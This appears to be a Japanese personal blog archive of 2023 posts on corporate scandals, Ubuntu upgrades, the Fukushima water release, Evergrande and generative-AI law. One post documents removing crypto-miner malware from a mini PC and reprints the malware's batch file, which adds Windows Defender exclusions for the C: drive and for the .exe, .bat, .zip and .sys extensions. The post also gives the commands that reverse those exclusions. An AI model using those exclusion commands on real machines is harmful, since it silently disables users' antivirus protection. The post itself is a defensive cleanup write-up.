12/21/2023

[biz] 日野に続いてダイハツも消えそう

ダイハツがやらかしてくれましたというか、やり続けていた事が明るみに出たというか。多分にご臨終のようです。

詳細は省きますが、近年の同社製自動車のほぼ全車種について、衝突時のエアバッグの動作試験等の安全性関連を含む認証試験で、テスト車に細工したり結果をすり替える等の重度の不正が行われていた事が確認されてしまいました。本件はリコールで対応出来るところの生産レベルの問題ではなく設計レベルの問題のため、あえなく現行全車種の生産販売の停止に追い込まれ、当然ながらその解決の目処は立っていません。というかこれから本件にどう対応するのか、その目星すらついていません。少なくとも長期間、生産販売含め事業がほぼ完全に停止する事は避けられないでしょう。トヨタグループの軽自動車部門として長年トップシェアに君臨し続けた同社ですが、突如として存亡の危機に直面してしまいました。

本来なら、リコールで対応すべき所、なのですが、そうもいきません。認証試験で不正をした、という事は、つまり設計・開発の時点でその認証試験をパス出来ないものだという事で、それを解消するには、設計レベルで修正が必要なわけです。それには少なくとも一車種あたり数年はかかる事が確実だし、規模が規模なので、修正したとしても生産もできません。安全性の部分が含まれているので、国交省としては特例等で販売分は問題なし、とか出来るわけもないでしょうし。だとすると、普通に考えれば金銭で賠償する他ないという事になるのでしょうが、それはそれで額が莫大すぎて、ダイハツを潰しても払えない、という。どうしたものでしょうか。

原因は、非現実的な短期間での開発スケジュールの強制との事。自動車は新型車の方がよく売れる事と、単純に開発期間が短ければそれだけ開発費が少なくて済むため、開発期間を削れば削る程、車種あたりの利益は跳ね上がります。当然、経営側は限界まで削ろうとするわけですが、新車種が新車種たるためには何らかの技術的進歩が求められます。燃費の改善はもとより、居住性や利便性、安定性、視界の広さ等等。加えて原価の低減も求められます。ご自慢のトヨタプロダクションシステムのカイゼンというやつです。

その中で、最重要なのは燃費改善と低原価の2点でしょう。これに最も効果的なのは軽量化です。軽量にすればするほど、つまりフレーム等の鋼材を削れば削る程、燃費も価格も下がります。しかし、当然ながら安全性も低下してしまいます。長年開発を続けていれば、出来る事はやり尽くしていて、改善の余地など殆ど残っていないでしょうから、そのトレードオフは、これ以上やったら十分な安全性を担保できない、というところまで行き着いているだろう事は容易に想像できます。技術的な頭打ちというやつです。

でも、技術的にもう無理だ、となっても、それまでのカイゼンの成功に味を占めた経営側は、それまでと同レベル以上の開発成果を求めるのです。最初の内は無理をすれば何とか出来るかもしれません。しかし、何とかする毎に越えるべきハードルは更新されていきます。ハードルが下がる事はありません。加えて開発期間は短縮され、只でさえ実現困難なそのサイクルが早まる、すなわちハードルが上がる速度も加速する。すぐに不可能に行き着きます。しかしカイゼンの要求は止まりません。技術的に不可能な要求が果てしなく繰り返されるようになるわけです。開発部門にとっては絶望的と言う他ないでしょう。

技術的に不可能なら、取れる道は2つだけです。その事実を経営側に断固として主張し、開発目標を拒絶するか、出来もしないのに出来る、出来たと嘘をつくかです。本来なら前者を選び、不可能な目標を捨て、現実的に達成可能な目標を模索すべきところですが、ダイハツの開発部門は後者を選んでしまった、というわけです。

同情すべき点がない、とは言いません。経営側からの要求を撥ね付ければ、多分に部門自体が無価値とされ、職を失う可能性があり、そうでなくとも、事業ひいては会社の存続等を盾に取ったパワハラというのも生易しい程の無責任な非難にさらされ、叱責され、追い詰められるだろう事は目に見えています。声を上げた者に代替案を出せ等と責任が押し付けられる、というような理不尽な事も企業ではよくある話です。そんな中で、出来ない、と毅然と主張し、その姿勢を貫く事は困難極まりない事でしょう。

しかしです。それでも酌量する事は出来ません。彼らは、安全性に関わる部分の試験までも粉飾の対象とし、事故の際にユーザーの命を守る事を放棄しました。何か間違いがあれば容易にユーザーの命を奪う自動車の、その命を守るための安全性の担保は、そこだけは何があろうと自動車メーカーの開発部門として絶対に放棄してはいけない部分です。それを放棄したダイハツ、その開発部門には、もはや自動車を作る資格がないものと断ぜざるを得ません。

この状況を作り出した経営陣はさらに罪が重い事は言うまでもありません。こんなに長期間、広範に不正をせざるを得ない状況にあって、開発部門が全く状況を経営層に伝えなかったなどという事はあり得ないし、ありえませんが仮に全員が揃って全く状況がわからなかったと言うなら、それは経営層の全員が自社の事業の実態を一切知らないと言うに等しく、経営者としての最低限の責務を完全に放棄した、無能という表現では到底足りない、背任者だという事なのですから。組織としても破綻しています。

結局のところ、ダイハツがやった事は自動車製造会社として致命的で、規模、態様ともに救いようがないと言う他ありません。はっきり言えば、ダイハツは潰れるしかないのでは、とも思うのですが、国内有数の巨大企業ですから、言うまでもなくその影響は甚大です。潰してはいおしまい、というわけにはいかない。日野の例に倣えば、国内の他社、つまりスズキホンダ日産のどれかに買収される事になるんでしょうか。いずれにせよ、本件は不正がユーザーの命に直接関わる点で日野より悪質なので、もうどうしようもないでしょうね。残念です。

11/21/2023

[note] Ubuntu23.10にアップグレード

半期に一度の恒例行事です。

今回のバージョンは23.10、コードネームはMantic Minotaur。占い師のミノタウロスさんです。 また空想の世界に飛んでしまいました。ミノスの怪物が占いとか意味がわかりません。むしろ妄想?

更新内容は、重要なものはほぼServer版のみで、Desktop版については殆ど変化なしですね。update-managerからいつものように更新実行、程なく完了です。

ざっと動作確認。結果、サウンド問題なし、グラフィック・フォント問題なし、日本語入力問題なし、ウィンドウ位置問題なし。基本部分は何も問題ありませんでした。いつもこうであってほしいですね。

なお、これはどうでもいい話ですが、カードゲームのSolitaireの見た目が変わっています。元々は昔ながらの、Windowsで言えばXP以前のドットのはっきりした素朴なトランプの絵が採用されていたのですが、今回のバージョンからWin7以降のグラデーションを効かせたモダンな見た目に変更されていました。見た目だけの話なのでどうでもいいんですけど、Linuxでもそういうところを気にするようになったんですね。遅まきながらの変化を感じます。中身の仕様変更は困りますが、こういう変化なら多分一般ユーザーにも受け入れられやすくなる方向だろうし、歓迎したいと思う次第です。

というわけで今回はここまで。

11/03/2023

[PC] 中華ミニPCのウィルス感染発覚とその対処について

先日、いわゆる中華系の安価なミニPCを買ったんですけれども。これがウィルスに感染していたのです。いや正確に言えば購入時から感染していたのか、使用するうちに感染したのかは不明につき、"していた"と言えるかはわからないのです。しかし、似たような使い方をしていた他のPCでは長年に渡って感染した事はありませんでした。という事は本機に特有の原因があった筈であり、また購入間もない事からして、おそらくは購入当初から感染していたか、バックドアの類が仕込まれていた可能性が極めて高いだろうと思われるのです。やれやれです。というわけでその内容と対処の経緯をメモ。

対象のPCは、TRIGKEY G3のメモリ8GB、SSD256GB版。CPUはN5095、Jasper Lakeです。今となっては型落ちの、しかも売れ筋だったN5105より下位グレードのものですね。今まさに人気沸騰中なN100等のAlder-Lake Nと比べると数割程度も処理能力が劣ります。とは言っても、Atom系列のCPUはJasper Lakeを境にmeltdown等の影響も概ね脱し、性能も飛躍的に伸びていますから、N100では出来るけれどN5095では出来ない、なんて事はほとんどありません。メインはLinuxな私ですが、Windowsのサブ機にちょうどよさそうだし安くなったら更新用に一台確保しておいてもいいかな、と思っていたのですが、それが数ヶ月前、まさにAlder-Lake N搭載機の登場でJasper Lake機が型落ちになったタイミングで投げ売りされて、捨て値と言うべき1.1万円位にまで下がっていたので購入したわけです。OSがWindows11Proだったので、そのテスト機も入手出来た、という事で都合が良かったのですね。ライセンス的には大丈夫なのか、という気もしますが、まあもし駄目になったらその時はLinuxにすればいいや、と。

使ってみると、予想通り性能面ではほぼ問題はありませんでした。もちろん重い画像処理や科学計算、3Dゲーム等は出来ない事もありますが、逆に言えばそれ以外は特にストレスもなくこなせます。というわけでそれなりに気に入り、BIOSが特殊かつ旧式で思うように設定出来ない等の細かな不安は抱きつつも、サブ機として時々触る程度ながら気持ちよく使っていたのです。

しかし、しばらく経った頃、妙にファンがうるさい事に気づいたのです。触ってみると明らかに熱い。温かいではなく、触り続けていられない位に熱い。最近のAtomラインのSoCは発熱が割と多いとは聞いていましたが、それにしても熱すぎました。処理能力を目一杯使うゲームをしている時等ならいざ知らず、動画の再生等をしているに過ぎない時でも、すぐにファンが回りだすのです。そもそもTDPは15Wなのに。

これは明らかにおかしい、というわけでタスクマネージャを見てみると、あにはからんや、見慣れないプロセスがCPU使用率トップに張り付いています。プロセス名は[Extended Copy Utility]、実行ファイルはxcopy.exe。これが常に30%から50%程度回り続けていたのです。

xcopy.exeと言えば、DOS時代からあるファイルコピーコマンドの拡張版です。昔は標準ではなく、しかしディレクトリのコピー等をするには必要だったのでわざわざ入れたりしていました。当然ながら、これの実行時に消費されるのはストレージの転送帯域で、CPUなど殆ど使われません。本来ありえない状態です。

加えて、当該プロセスをタスクマネージャから強制停止しても、すぐに復活します。単なるコピープログラムではありえない挙動です。これでxcopy.exeがウィルスプロセスである事が確定した、というわけです。以下は分析と対処です。

実行ファイルの所在地を見てみると、C:\Windows\WinSとなっていました。もちろん正規のフォルダではありません。その中には以下の4つのファイルが入っていました。

[ウィルス実行ファイルフォルダ(C:\Windows\WinS)内容]

 xcopy.exe (7.96MB)

 wd.bat (383B)

 WinRing0x64.sys (14.2KB)

 wmpnetwk.exe (323KB)

この内、xcopy.exeがウィルスで、wd.batはWindows Defenderのチェック範囲から本フォルダやexeファイル等を除外する設定を加えるバッチファイルです。残り2つの役割はよくわかりません。おそらくこれらも偽装されたウィルスの一部なのでしょう。なお、ウィルスがxcopy.exeの名前を騙るのは割とよくある話なんだそうで。元々標準ではなく、後付で入れる事が多いプログラムであり、ウィルスの感染経路・偽装先として適していたからってことなんでしょうけど、迷惑な話ですね。

それでこのxcopy.exeは何かと言うと、仮想通貨のマイニングを行うウィルスなんだそうです。英語ではminer virus等と呼ばれているようです。トロイの木馬の一種ですが、基本的には情報の流出やランサム的な挙動をする事はなく、ひたすらCPUの演算リソースを食いつぶすタイプのウィルスです。だから発熱するんですね。ウィルスの中ではまだおとなしい方と言えなくもないでしょうけれど、当然ながら電力は無駄に消費するし、熱がPCの寿命を縮めもします。有害なものには違いありません。というわけでさっさと対処します。

まず、現在実行されているウィルスを止めます。なお、以降の処理(コマンド入力等)は管理者権限が必要なので、管理者権限で起動したコマンドプロンプト(Powershell)上で実行します。

[ウィルスの停止]

 1. 実行ファイルの削除(もしくは名称変更・移動等)

  xcopy.exeを削除します。もしくは適当な別の名前(xcopy_virus.exe等)に変えます。

  その他の3ファイルも同様に。

 2.タスクマネージャからxcopy.exeを停止

  [プロセス]タブから、[Extended Copy Utility]を選択、[タスクの停止]を実行

 3.プロセスが復活しない事を確認

  タスクマネージャ上で、[Extended Copy Utililty]が復活してこなければ成功

以上でとりあえずウィルスの活動は阻止出来ます。が、これで終わりではありません。本ウィルスは、おそらく自身がWindows Defenderに削除されないよう、Windows Defenderにスキャンの除外設定を加えています。そのため、このままだと新たなウィルスの感染を防止出来ず、再発の危険も高いままです。これを修正しておく必要があるのです。

Windows Defenderにどのような設定が加えられたかは。wd.batに記載されています。というか、wd.batによって設定変更が行われたものと思われます。その中身は以下の通りです。

 [wd.bat]

 @echo off

 @powershell.exe Add-MpPreference -ExclusionPath C:\Windows\WinS

 @powershell.exe Add-MpPreference -ExclusionPath C:\

 @powershell.exe Add-MpPreference -ExclusionExtension ".exe"

 @powershell.exe Add-MpPreference -ExclusionExtension ".zip"

 @powershell.exe Add-MpPreference -ExclusionExtension ".bat"

 @powershell.exe Add-MpPreference -ExclusionExtension ".sys"

おわかり頂けたでしょうか。これらは要するに、C:\Windows\WinSとCドライブをスキャン対象から除外し、さらにそれ以外の場所にあるexe,zip,bat,sysの各ファイルもスキャン対象から除外する、というものです。事実上Windows Defenderが無効化されるに等しいものですね。確認のため修正前にWindows Defenderのスキャンを実行してみましたが、スキャンの種類(クイック・フル等)を問わず、スキャンが一瞬で終わるようになっていました。無防備そのものです。

上記の除外設定をそれぞれ逆の処理、すなわち除外リストから削除するコマンドを打って修正します。具体的には以下の通り。管理者権限ありのPowershell上で行います。

[Defender設定修復コマンド]

 $ Remove-MpPreference -ExclusionPath C:\ 

 $ Remove-MpPreference -ExclusionPath C:\Windows\WinS

 $ Remove-MpPreference -ExclusionExtension ".exe"

 $ Remove-MpPreference -ExclusionExtension ".zip"

 $ Remove-MpPreference -ExclusionExtension ".bat"

 $ Remove-MpPreference -ExclusionExtension ".sys"

以上で修正出来ます。実行後、[設定]から各種スキャンをして、スキャンが正常に行われる事を確認し、問題なくスキャンが実行されるならOKです。

ただ、私の環境では、除外設定修正後も、スキャン対象に含まれた筈の上記xcopy.exe(名前は変更)等はウィルス判定されませんでした。おそらく、これらのファイルは、ウィルス一般によく見られる自己複製やファイルの改変等の各種の悪意ある(と判定される)処理を行わず、マイニング処理に特化しているため、現バージョンのWindows Defenderからは通常のマイニングプログラムと判定されているのではないかと思われます。だとすると、wd.batの除外設定は本ウィルスにとっては不要なもので、無駄にPCを危険に晒すものと言えるわけですが。。。なんか間抜けですね。うーん。 

今回やった事はこれで終わりなのですが、一点だけ心残りというか、不明な点が残っています。何かというと、ウィルスプログラムであるところのxcopy.exeが起動されたルートがわかっていない点です。タスクマネージャのスタートアップ、ユーザのスタートアップフォルダ、レジストリのスタートアップを確認し、不要なものは無効にしておきましたが、確実にこれだという確証は得られていない状態なのです。

一番可能性が高いだろうのは、Realtekのオーディオ関連アプリへの偽装でしょうか。レジストリ上のスタートアップ(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)に、当該アプリ(RAVCpl64.exe)を起動する設定があったのですが、その実行プログラムがある筈のフォルダを見てみるとこれが空だったのです。推測するに、このアプリがウィルスのブートかバックドアの窓口役を担っていて、しかし上記の対処の過程でWindows Defenderのスキャンにより削除されたのではないかと推測しているのですが、今となっては確認も出来ません。原因がわからない、というのはやはり気持ち悪いですね。

ともあれ、以上でウィルスの除去とDefenderの設定修正は完了です。

その後、しばらく様子を見ながら使用してみましたが、ウィルスが復活する事はありませんでした。低負荷動作時にファンが回る事もなくなり、至って静かになったのです。これが本来の姿でしょうし、一安心です。

ただ、静かではあるのですが、発熱はそれなりにしますね。触り続けられない程ではありませんし、ウィルスが動いていた時と比べれば随分とマシなのですが、それでも触ると熱いです。まあ、これが購入前の評判で見聞きしたところの、結構発熱する、という事なのでしょうし、正常な事なのでしょう。しかし、以前のAtom機で見られたような、ファンレスが当たり前に可能だったのと比べると、SSDはもちろん、その他の部品にもダメージは大きそうで、耐久性に不安が残るのはやはり残念ではあります。そこら辺は安かろう悪かろうという事で割り切るしかないのかもしれませんね。ともあれ、今回はこれでおしまい。

8/25/2023

[pol] 信用がないから愚かなのか、愚かだから信用がないのか

アホだアホだとは思っていましたが。。。今回の件は流石に呆れ果てました。

福島第一原発の冷却水、放射性物質としてはトリチウムのみを含む通常の冷却水ではなく、メルトダウンに伴い放出され続けているセシウムやストロンチウム等の一次的な放射性物質を含有した重度の放射能による汚染水を、一応ある程度処理した、として処理水と東電・日本政府が呼ぶところの液体を、近隣諸国及び近辺の漁業関係者中心に多数が明確に反対する中、海洋放出を強行するに及んだ本件ですが。

当然の結果として、予想通りに韓国・中国では日本産の海産物の不買・禁輸等が実施されました。それによって経済的な損害を被る国内の漁業関係者をはじめとする利害関係者からは、予想されたその被害を防ぐ手立てを何ら講じる事もなくただ漫然と放出の強行に及んだ日本政府へと非難が集中しています。

そして、非難を逸らそうとでもいうつもりなのか、日本政府は、禁輸の解除を中国等に要請したとされています。放出を続けたままで。その要請は当然ながら拒否というか無視されました。

愚かにも程があるというものです。そもそもの話として、なぜ処理水の排出に反発が起きているのか、理解していないとしか思えません。根本的に、日本政府は信用されていないのです。中国や韓国は、日本は嘘つきだと考えているのです。なのに、信用を得るための努力を何一つすることなく、問題ないとの建前だけを繰り返し、自分勝手な都合だけを優先して、抗議も何もかもを無視して強行したのです。見限られて当然というものです。

東電・政府ら当事者は、処理水に含まれる放射性物質の割合が国際的な基準以下だ、だから放出は実質的(科学的)にも法的にも問題がないのだ、と繰り返しています。それはその通りでしょう。ただし、それは利害関係者以外の第三者の検証を経て、利害関係者、殊に不利益を受ける側から見ても客観的に信頼の出来る事実と認められる限りにおいての話です。

しかるに、本件の放出水について、その放射性物質を除去する装置を準備し、処理を行っているのは東電とその関係企業であり、その結果すなわち残留物質の成分・濃度等を検証しているのも東電もしくは日本政府の支配下にある機関です。第三者ではありません。粉飾はあまりに容易です。実際に粉飾が行われているか否かは関係ありません。監視・検証の結果問題ない、と言ってもそれは全て自己監査、自己弁護でしかない時点で無意味なのです。会社法でも、自己監査は許されておらず、監査対象たる業務に関係する者は監査役になる事は出来ませんし、その他の経営の監視を担う役職にはさらに厳密な社外性が要求されます。それと同じです。自社の業務・会計の監査を自社の人間が行い、全て適正と主張したところで、誰がそれを信じるというのでしょうか。融資も取引も即刻打ち切られるに決まっています。

その上、本件のような重度の汚染水から放射性物質を取り除く処理がこのような規模・期間に渡り継続的に実施された事例、すなわち実績は当然存在しません。技術的にも未熟で、信用がないのです。当然、除去の精度についても疑義がかかります。セシウムやストロンチウムが大量に放出されているのではないかと。放出が長期間続けば、その汚染は取り返しのつかないレベルになるのではないかと。それを否定する実績がない以上、当事者たる東電や日立等の技術担当にすら保証は不可能でしょう。

つまり、本当に放射性物質は除去されているのか、客観的に見て到底信頼出来る状況ではない。にも関わらず、その検証を行っているのは疑われている当事者自身。それでも国内ならまだ自国の政府・機関についてそれなりの情報があり、盲目的な信頼を寄せる向きもあるでしょうが、海外であればそれすらもない。犯罪の容疑者も同然と見なされているのです。もともと信用もない容疑者が無根拠に言う大丈夫、が信用されないのは当たり前の話です。 誰だって、それが嘘だとの前提に基づいて行動します。その結果が、禁輸措置であり、不買運動であり、抗議であるわけです。至極当然の結果という他はありません。

ついでに言えば、そもそもの話として、現在の状況を招いた原因が生じた時、すなわち原発がメルトダウンを起こした時点で、既にセシウムやストロンチウム等の放射性物質を陸上・海上問わず大量に撒き散らしてしまっています。日本は、放射性物質による汚染の前科があるのです。ただでさえ客観的な保証がないのに、前科者が、今度は大丈夫だから、等といくら主張したところで、信じてもらえる筈もないのです。

放出を止めない限り、禁輸等の措置は解除される筈もありません。そして、放出は少なくともこれから30年以上に渡り続きます。"処理水"が増え続けている事を考慮すれば、30年で済むわけはなく、半永久的に続くでしょう。つまり禁輸措置等は半永久的に解除されないでしょう。

このような状況で、何をどうすれば呑気に禁輸措置を解除しろ等と言えるのか。言うだけ言って、何もしない等という振る舞いに及べるのか。そもそも、放出の強行などできたのか。信じがたく、理解に苦しみます。状況を理解出来ないアホだから、以外に説明をつける事は困難とさえ思います。

元より信頼も信用も出来ないと知ってはいましたが、ここまでとは。愕然を通り越して絶望というのはこういう事を言うのだなと、思い知らされてしまったのです。もう駄目なのではこの政府。

8/18/2023

[biz] 恒大集団破産、遂に現実となった中国経済の破綻

とうとう、というべきか、ようやく、というべきか。

中国の不動産最大手の一角、恒大集団が米国(NY)で破産法第15条の申請を行い、破綻したそうです。ちなみに、15条は海外とも関連する企業の場合の条項です。資産流出・隠蔽の回避等のため、米国外の関連諸国と連携した措置が想定されています。と、それはともかく。

無論、そのインパクトは尋常なものではありません。中国のバブル経済の中核を担った同社の負債は公表されているだけでも数十兆円にも及び、非公表の実質的な債務はそれを遥かに超えると言われます。大国の破綻にも等しい規模です。

しかし、驚き等は全くありません。中国の不動産バブル、その象徴であった同社ですが、コロナ禍以前からバブル崩壊に伴い長らく経営危機にあった事もまた周知の事実であり、もはや破綻は時間の問題であると誰もが知っていたからです。

実際、コロナ禍以降、諸外国は中国から急速に資本を引き上げてもいました。それが中国のバブル経済を破綻させる最後のひと押しになった、というだけの事で、要するに同社の破綻、これに続くだろう中国経済の破綻は、諸外国が意図的に引き起こしたとも言えるものです。当事者がそのわかりきった結果に驚く筈もありません。

しかし、それでも。中国経済の破綻。言葉で言うのは簡単ですが、流石に戦慄を禁じえません。それが、いつか来る不可避の未来として語られ始めたのは、北京五輪の招致決定の頃だったでしょうか。それから、明らかにバブルと分かる不動産を中心にした、実体と乖離した金融市場の膨張、それはバブルである以上破綻が避けられないものであり、しかも中国政府の強力な統制に基づくものであるために、限界までその破綻を回避し続け、際限なく膨張を続ける結果、その破綻はかつての日本のそれを遥かに超える程の破滅をもたらすだろう事も明らかでした。どうするのだろう、とその未来に恐怖しつつ、中国なら力技で抑え込んで見せるのではないか、と期待する向きも多かったように思います。

しかし、そんなうまい話はありませんでした。中国政府は、何ら実質的な手立てを用いる事もなく、ただひたすらに表面的な粉飾だけを続け、膨張と崩壊が同居する奇妙な状況を放置、いや実質的にはむしろ保護して育て続けました。そして、ついにその破綻を現実のものとして口に出す時が来てしまったのです。

この崩壊がどういう経過を辿り、どのような結末に辿り着くのか、 それは誰にもわかりません。追い詰められた独裁者、特に全体主義国家の支配者は、しばしば常軌を逸した破滅的な振る舞いに及ぶ事があります。少なくとも、常識的かつ倫理的な方向の打開策のみに自らを律するだろうと期待する事は出来ません。戦争特需等に非現実的な活路を求めて台湾侵攻に及び、米国を巻き込んだ大戦が起きる可能性すら、ありえないと否定する事は困難です。

もはや破綻を回避する術はなく、その影響を遮断する事も不可能です。日本を含む諸外国も、経済的な被害はもう避けられません。今更中国から資本を引き上げようにも実際無理でしょうし。せめて、物理的・人的な被害が我々には及ばないよう、及んでも軽微で済むよう、願うばかりです。

China’s Evergrande files for bankruptcy

5/31/2023

[biz] 日野自動車がトヨタ離脱、三菱ふそうに吸収

日野自動車がトヨタから見捨てられたとか。現実は非情です。

エンジンの型式指定取得に際しての検査不正が発覚、多数のエンジンについて型式指定が取り消され、複数車種につき事実上販売が不可能になってしまっていた日野自動車ですが、トヨタグループから切り離される事になってしまいました。

分離後は三菱ふそうと一緒になるんだそうで。状況から言って、事実上の三菱ふそうによる日野自動車の吸収になる事は明白です。不正発覚前なら想像も出来なかったような話ですね。

問題の型式指定については、その後主力の大型車関連につき再申請を行い、販売再開にこぎつけた車種も出ていたのですが、23年4月時点でまだ以前の1/4は販売出来ない状態だったそうです。完全な回復まではまだ時間がかかる事は明らかでしたが、それを待つ余裕はない、という事だったのでしょう。

それも当然というか、商用車なのだから、当然顧客は事業者なわけで、事業上必要な時に供給出来ないメーカーからは当然顧客は離れるでしょうし、さらに一度離れた顧客が戻ってくることもほぼ無いでしょう。結局のところ、信用を失ったメーカーは顧客に見放される、というだけの事です。そして、そんな状況に陥った日野自動車には、もはや自力で事業を維持出来る見込みが十分持てなかったという事なのでしょう。元々単価が高い一方で顧客数は少ない業界ですからね。リプレースのサイクルも長めですし。

それにしても、相手が三菱ふそうですか・・・。大半の人がそうでしょうけど、どうしても不祥事がちらつきます。4社しかない国内大型トラック業界内の序列的にも下位なのだし、負け組連合な感は否めません。それでも台数で言えばこれから首位になるんでしょうけど、信用とか企業としての評価は最低、ですか。どうなるのやら。

もっとも、まだ三菱ふそうの親会社であるところのダイムラーとトヨタを含む4社間で覚書を交わした段階で、時期等の具体的な条件はこれから決めるという話ですから、二転三転するかもしれませんけどね。内外の反発も半端ではないでしょうし。

[biz] 日野自動車、全車販売不能・・・まさか廃業? 

[biz] らくらくホン消滅

だそうで。南無。

シニア向けフィーチャーフォンの先駆けとしてかつて富士通から発売されたらくらくホンですが、その後のフィーチャーフォン自体の消滅に伴うスマホへの移行を経て、海外メーカーによる国産スマホメーカーの駆逐に伴い著しい不採算に陥り、テレビ関連事業等と同様、あえなく富士通から分離売却されていました。

事業売却の前後を通じて、ドコモ及びau向けに端末を供給し続けてはいたものの、その後も皆無に等しいブランド力から予想された通り事業規模が縮小していました。そしてついに事業会社であるところのFCNT株式会社が、中間持株会社のREINOWAホールディングスおよび端末製造を担う兄弟会社ジャパン・イーエム・ソリューションズと共に民事再生を申請するに至ったわけです。

なんだかんだで発売から20年以上。大きな文字とアイコンを基本にした見やすいUIを採用し、あえて機能を限定して操作性及び可用性を上げるその設計思想はフィーチャーフォンの一つの到達点であった事は間違いありません。しかし、基本メールと通話だけできればよかった時代が遠く過ぎ去り、たとえシニアであってもキャッシュレス決済や各種SNS等、人それぞれに多種多様な機能の利用がなされ、しかもそれらが頻繁に入れ替わるような現状にあっては、その方法では広く利用者のニーズに応える事は困難というより不可能になっていた事は明白でした。

一方で、らくらくホン等で採用されたものと類似のUIはandroid系のスマホの一部では一つのモードとして採用されており、望む人はそれに切り替えれば良い、という形に落ち着いたようです。いつまで残るのかも怪しいですが、もはやそちら方面のニーズにはそれで十分なのでしょう。その意味で、ハードウェアとしてのらくらくホンは既に使命を終えたと言えるでしょう。端末事業については事業の引き取り手も今の所ない模様ですし、本当に終わりという事になりそうです。どれくらい残っていたのかも不明ですが、もしいたなら、開発者の方々にはお疲れ様でした。

なお、今回破綻したFCNTでは、かつて富士通で製造されていた他の携帯端末事業も引き継いでおり、その中には当然通常のスマホブランドであるところのArrowsも含まれていましたが、こちらも同じく終了という事になります。また、富士通時代の末期には一足先に見切りを付けた東芝から携帯端末事業(REGZA phone等)を引き継いでもいましたが、これも同じく終了。東芝から富士通への売却がされた当時は、むしろこんなに長引くとは思いませんでした。当たり前ですが、事業を終わらせるのも大変だという事ですね。

ところで、FCNTの持株会社のREINOWAホールディングス以下が倒産したわけですけれども、そのさらに親会社のポラリスについてはどうなんでしょうか。結構な損失を被っている筈なんですが・・・。REINOWA近辺については全然情報がなくて、どれくらいの影響があるのかよくわからないんですよね。

周辺の情報から推測すると、まず富士通からポラリスへの売却額は譲渡した70%持分に対して当時300億とか言われていて、その後全株式売却もしたので総額はおよそ450億程度で、その株が全部0になった筈です。一方ポラリス傘下のファンドの総額は公式HPで見る分には1900億とかなので、FCNT関連は少なく見積もって1/4位の比率があった筈なのです。そんなに吹っ飛んでも大丈夫なものなのでしょうか。さて。

5/14/2023

[note] Ubuntu23.04にアップグレード

半年に1度のUbuntu更新の時期がやってきました。

今回のバージョンは23.04でコードネームLunar Lobster、月のロブスターさんです。いつものようにupdate-managerから。今回からインストーラ等がsnapパッケージ化された新バージョンに変更されているそうですが、アップグレードについては関係ないらしく、特に変更もなく、もちろん問題もありません。いつものように待つこと数時間、特にエラーもなく終了。

問題らしい問題はただ一点だけ、初回ログイン時にPicom(Xコンポジター)がクラッシュした旨エラーが表示された位でした。何かゴミが残ったんでしょうか?それ以外は特に問題なし。日本語入力も問題なし。一番気になっていたところの、22.10で悩まされていたサウンド関連の問題も、とりあえず解消されたっぽいです。一安心ですね。

<関連記事>

[note] Ubuntu22.10へのアップグレードでオーディオの不具合に遭遇

<追記>

Picomのクラッシュメッセージはその後も毎回表示されます。軽く調べたところでは、同様の事象が複数報告されていて、既にバグ認定もされており、現在対処中だそうです。やれやれ。

<さらに追記>

Picomのクラッシュメッセージが鬱陶しいので対処しました。公式はいつものように次バージョンまで放置を決め込んでいる模様ですし。

そもそもPicomとはなんぞや、というと、ウィンドウの透過等のエフェクト類を処理するcompositorで、要するに見た目部分の処理モジュールです。もともとLubuntuを使用していて余計な処理は減らしたい身としてはこの手のモジュールは一利もなしなので、無効化してしまう事にしました。

修正点は2点。 

1点目はメニューから。[設定]-[LXQt設定]-[セッション]でLXQtセッションの設定ウィンドウを開き、[基本設定]中の[LXQtモジュール]の中から[Picom (Xコンポジター)]のチェックを外し、さらに[停止]ボタンも押して止めます。

2点目はコンソールから。autostartに移動します。

$ cd /etc/xdg/xdg-Lubuntu/autostart/

このフォルダ中にあるlxqt-picom.desktopをpicom.desktopにリネーム。

$ sudo mv lxqt-picom.desktop picom.desktop

以上の後、再起動すればクラッシュメッセージは出なくなりました。なお、1点目の変更のみ行い、2点目のリネームをしない場合も試してみましたが、その場合もクラッシュメッセージは出たので、単純に多重起動でバッティングしているとかいう訳ではないようです。 なんなんでしょうね。

ともあれ、この件はこれでおしまい。やれやれです。

5/13/2023

[law] 生成系AIに手を出す前に

 AI関連が色々騒がしいこの頃ですが。法の統制が追いつくはずもなく、無秩序に拡大する利用に一旦ストップがかかる流れになったようですね。

Chat-GPTにしろ、各種の画像生成ツールにしろ、法的な面は無論、実用上も問題だらけの現状では致し方ないところというべきでしょうか。

一般にこの文脈でAIと呼ばれるプログラムは、その全てが機械学習に基づくものです。数理モデルと学習データ及びその学習方式(数理モデルのパラメータ決定方法)の組み合わせからなるという事ですが、情報量的に見て出力されるデータに対しモデルの構造や学習方式の影響する割合は相対的に小さく、実質的な情報の大部分は基本的に学習データに依存します。それこそが最近の生成系AIの特性であるところの多様で情報量の多い出力を裏付けているのです。当然ながら、旧来の、構造が固定された比較的少数のパラメータをフィッティングさせるようなモデルを用いるものは含まれません。

そのため、学習データが正しければ、その出力も原則として正しいものである可能性は高くなりますが、逆に学習データに抜けや誤りがあれば、出力にもそれが反映されてしまいます。学習データ内に矛盾があれば、その出力も矛盾に満ちたものになるわけです。

また、学習データに個人情報や機密情報等、センシティブな情報が含まれる場合も、出力にそれらの情報が含まれてしまいます。これを避けるためには学習データとその出力プログラムの双方で正確に区別・管理出来るような仕組みを導入しておかなければなりませんが、その実現は容易ではないでしょう。膨大な学習データを全て人力でチェックしてマーキング等をしなければなりませんし、そんな手間をかけるだけのメリットを見出す事は難しいでしょう。かと言ってその手間を惜しめば、あっという間に情報漏洩で大損害、に留まらず、法的にも個人情報保護法違反やら不正競争防止法違反やらに問われてしまうだろうわけです。

画像生成等についても同様ですが、この場合にはさらに厄介な問題が生じます。著作権です。画像生成の場合、学習データは既存の画像という事になりますが、著作権者が放棄した、というのでもない限り、それらの画像には原則として著作権が付随しています。

言うまでもない事ですが、日本国内の著作権法においては、著作権者以外による著作物の扱いには様々な制限がかかります。もちろん著作権法上では生成AIに関して直接の規定はまだ存在しませんし、判例もありませんが、だからと言って著作権法の適用外になるわけもありません。いずれ訴訟も起こるでしょうし、法改正もなされるでしょうけれども、その時になって巨額の賠償責任を負うことのないように備えておく必要はあるでしょう。

